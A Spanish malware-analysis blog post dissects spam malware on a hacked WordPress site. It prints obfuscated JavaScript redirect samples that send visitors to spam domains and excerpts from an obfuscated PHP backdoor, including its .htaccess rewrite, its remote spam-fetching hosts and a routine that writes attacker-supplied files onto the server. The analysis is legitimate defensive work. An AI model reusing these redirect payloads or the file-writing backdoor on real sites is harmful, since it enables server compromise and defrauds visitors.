SPAM en sitios web, generalmente que utilizan Wordpress - Análisis de Malware

Hace poco tuve que revisar el sitio web de un cliente, el trabajo era eliminar malware que estaba enviando mucho correo SPAM y también promocionando productos que claramente no era de su negocio o rubro.

Lo primero que vi cuando entré al servidor fue una larga lista de archivos HTML con nombres aleatorios, todos ellos promocionando productos extranjeros. Seguí revisando y encontré scripts en PHP, Javascript y Perl, es decir, estaba más que infectado.

Pero no quiero hablar sobre el trabajo de limpieza que tuve que hacer, sino del análisis de los distintos malwares instalados (que es una investigación personal, no estaba en el alcance del trabajo).

JS REDIRECT


Estas son dos muestras de la larga lista de archivos HTML, todos similares:

Muestra HTML 1
<html> <head> 
 <title>thousands32761 Gaudiest - whatsoeer alert seemliness champion affright. Listend sense.</title>
  <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> </head> 
 <body> <script type="text/javascript"> 
 function blessed() { thank = particular * heeds; harlequin = boors - fierce; } 
 function severed() { setTimeout(fluc(),1034); } 
 severed(); 
 function norwaye(anorwaye) { return String.fromCharCode(anorwaye); } 
 function bandsa(aski) { return 3; } 
 function fluc() { afluc = bandsa(); bfluc = [122,108,113,103,114,122,49,119,114,115,49,111,114,102,100,119,108,114,113,49,107,117,104,105,64,42,107,119,119,115,61,50,50,106,104,113,104,117,108,102,100,108,103,103,104,100,111,49,118,120,42,62]; return traceb(afluc,bfluc); } 
 function born() { affright = resolved - lowly; disciplined = aver / highlands; latest = boors * seeking; }
 function traceb(atraceb,btraceb) { ctraceb = ""; for (dtraceb = 0; dtraceb < btraceb.length; dtraceb++) { etraceb = btraceb[dtraceb]; ftraceb = etraceb - atraceb; gtraceb = norwaye(ftraceb); ctraceb = ctraceb + gtraceb; } return ctraceb; } 
 function river(delighted,collapses) { brotherhood = force + striking; } 
 function shy() { beyond = dusky * confuse; } 
 function full() { tie = convinced * bleak; greetst = puzzled - amazing; } 
 </script> </body> </html>
Lo primero que se ejecuta es la función "severed();", que utiliza la rutina de Javascript SetTimeout para ejecutar "fluc()" luego de 1034 milisengundos.

fluc(), asigna a la variable "afluc" lo retornado por la función "bandsa()", en este caso "3". Posteriormente se pasa un arreglo de enteros llamado "bfluc" a la función "traceb", esta última función recorre cada uno de los elementos del array, le resta "afluc" que es 3, y obtiene el caracter usando "String.fromCharCode", generando como salida "window.top.location.href='http://genericaiddeal.su';" Una página para venta de Viagra.
Si observamos las demás funciones, usan variables que no están definidas, no hay valores asignados y nunca son utilizadas.

Muestra HTML 2
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
 <title>woe33040 Hair flaw missed beauty aver provokes. Pox - yellow behold beyond.</title>
 </head> <body> 
<script type="text/javascript"> 
function days() { cool = shy / record; seehis = barely / seen; full = bloodshed * missed; } 
function gaudiest() { rising = thread + wicked; flaw = main / seemingly; } 
function kerchiefplotsc() { akerchiefplotsc = nighttimea(); bkerchiefplotsc = [124,110,115,105,116,124,51,121,116,117,51,113,116,104,102,121,110,116,115,51,109,119,106,107,66,44,109,121,121,117,63,52,52,108,119,106,102,121,106,125,117,106,119,121,51,120,122,44,64]; 
return illnessthreeb(akerchiefplotsc,bkerchiefplotsc); } 
function twilld() { setTimeout(kerchiefplotsc(),1036); } 
function woe(tells,barelys) { short = ice - plotted; } 
function remains(bloodshed) { stand = flutterd - fatherly; soothe = needed + charms; inheritance = advance / nervous; } 
function nighttimea(chefi) { return 5; } 
twilld(); 
function godheadse(agodheadse) { return String.fromCharCode(agodheadse); } 
function striking() { hideandseek = resolved - gaze; ask = amazing * scheme; holiday = latest / complete; }
 function illnessthreeb(aillnessthreeb,billnessthreeb) { cillnessthreeb = ""; for (dillnessthreeb = 0; dillnessthreeb < billnessthreeb.length; dillnessthreeb++) { eillnessthreeb = billnessthreeb[dillnessthreeb]; fillnessthreeb = eillnessthreeb - aillnessthreeb; gillnessthreeb = godheadse(fillnessthreeb); cillnessthreeb = cillnessthreeb + gillnessthreeb; } return cillnessthreeb; } </script> </body> </html>


En este otro caso, es lo mismo, sólo que inicia a los 1036 milisegundos, el valor a restar a cada entero del array es "5", formando como resultado "window.top.location.href='http://greatexpert.su';", que es otro sitio de venta de Viagra.

Obviamente hay más sitios infectados con el mismo malware, que finalmente es un Javascript/Redirect - https://otx.alienvault.com/indicator/domain/macpopularinstall.com

PHP


Otra infección, fue la que encontré en el index.php de la raíz de Wordpress, la muestra la comparto en un link, porque el código es más extenso

https://github.com/inc0d3/malware/blob/master/spam/wp-index.php

El index original de Wordpres es:

https://github.com/WordPress/WordPress/blob/master/index.php

En la primera parte, define variables con nombres de funciones, armando el string a partir de los caracteres de un array, similar a lo que vimos con el JS Redirect:

$OO0_OO__00="s6l5cpd1eyuh3qo8nmkg-0bvi7xztw49r_fja2";
$O0_0__OO0O=$OO0_OO__00{5}.$OO0_OO__00{32}.$OO0_OO__00{8}....
Para finalmente formar el siguiente listado de variables:
$O0_0__OO0O = "preg_replace_callback";
$O0OO0O___0 = "stream_socket_client";
$O00O0OO___ = "stream_get_meta_data";
$O_0_OO0_O0 = "stream_set_blocking";
$OOO0__0_O0 = "stream_set_timeout";
$O0_OO_0O0_ = "ignore_user_abort";
$O0O0__OO0_ = "file_put_contents";
$OO_0_OO00_ = "file_get_contents";
$O0OO_O_00_ = "http_build_query";
$O0O0__O_0O = "function_exists";
$O_O00__0OO = "error_reporting";
$OO_O000_O_ = "create_function";
$OO_O_000O_ = "set_time_limit";
$O0__OO0_0O = "gethostbyname";
$OO0_O0_0O_ = "base64_decode";
$O0O__O0O0_ = "preg_replace";
$O00O_O0__O = "str_replace";
$O0O0___0OO = "file_exists";
$O0__OO0O0_ = "curl_setopt";
$OO_OO0_00_ = "array_shift";
$O00_O_O0O_ = "preg_match";
$O0_0OOO_0_ = "curl_error";
$O__0O_O0O0 = "curl_close";
$O_O0_OO_00 = "urlencode";
$O00__O0OO_ = "parse_url";
$O_00O_OO_0 = "gzinflate";
$OO__0_00OO = "curl_init";
$OOO0_0__0O = "curl_exec";
$O_O0__0O0O = "is_array";
$OO__000O_O = "mt_rand";
$OOO0O0_0__ = "implode";
$O00O_O_O0_ = "explode";
$O_0O0O_0O_ = "dirname";
$O0_O_0_OO0 = "usleep";
$OO_0__0O0O = "unlink";
$OO0_O0__0O = "strstr";
$OO_0O_00_O = "strpos";
$O0_OO0_O0_ = "strlen";
$OOO__00O_0 = "hexdec";
$O_O_0O0_0O = "getenv";
$O_O_O_000O = "fwrite";
$O00_OO__0O = "fclose";
$O_O__O00O0 = "fread";
$O_O00OO__0 = "fgets";
$OO__0O_0O0 = "chmod";
$O0_0_O_0OO = "trim";
$O00_OO__O0 = "join";
$O__0_OOO00 = "feof";
$OO0___00OO = "date";

Luego, comienza a ejecutar código usando la variable GLOBALS de PHP, ya que todas las definiciones anteriores quedan en GLOBALS:
${"GLOBALS"}["O_O00__0OO"](0);
//equivalente a ejecutar: error_reporting(0)

No encontré herramientas para desofuscar este código, así que lo hice manualmente, quedando así:

https://github.com/inc0d3/malware/blob/master/spam/wp-index-desofuscado.php

Se trata de un backdoor en PHP, principalmente para promocionar SPAM.

[imagen 1]

Dentro de sus funciones, crea un archivo .htaccess:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>

Para redirigir las peticiones del sitio a "index.php", luego revisa si cuenta con las funciones de "curl" para realizar peticiones web, si falla utiliza "streams", si falla utilizará "sockets" y por ultimo file_get_contents.

Las peticiones de esta muestra son dirigidas a

http://www0.divorceevent.com/jump99[.]php
http://www0.divorceevent.com/data99[.]php

Los scripts alojados en este sitio responden con código JavaScript o HTML con SPAM.

El malware despliega principalmente HTML con SPAM como la "imagen 1", también tiene la capacidad de descargar el HTML y dejarlo en un archivo, para que la misma victima promocione el SPAM. Puede crear un sitemap.xml para que los buscadores indexen los archivos con SPAM.

Lo más peligroso son sus funcionalidades para descargar y ejecutar código en el servidor víctima, con la rutina:

$O0_O0_O0O_=create_function('$OO0_0OO0__','
 $OO__OO0_00=isset($_REQUEST["xxxxxxxxxxxx_filename"])?$_REQUEST["xxxxxxxxxxxx_filename"]:\'\';
 $O_O_0O0O0_=isset($_REQUEST["xxxxxxxxxxxx_filecontent"])?$_REQUEST["xxxxxxxxxxxx_filecontent"]:\'\';
 if(file_exists($OO__OO0_00)){
  if(!unlink($OO__OO0_00)){
   echo "delete|error";
   exit();
  }
 }
 file_put_contents($OO__OO0_00,$O_O_0O0O0_,FILE_APPEND);
 echo $OO__OO0_00.\'|success\';'
);

Su código, a la fecha, no es detectado por los principales Antivirus

https://www.virustotal.com/gui/file/5215f30c11fbadf20c39c58e9c5aebd4055cf4d30bd0524a0cdb23dd424c3746/detection


Pronto una segunda parte de este post...

Bye




Comentarios

Entradas populares de este blog

Desempaquetando Themida 2 (unpacking windows binary) - Análisis de Malware

Ocultando la web shell como una imagen (Apache + PHP)

Evasión de antivirus modernos usando Process Injection - MITRE T1055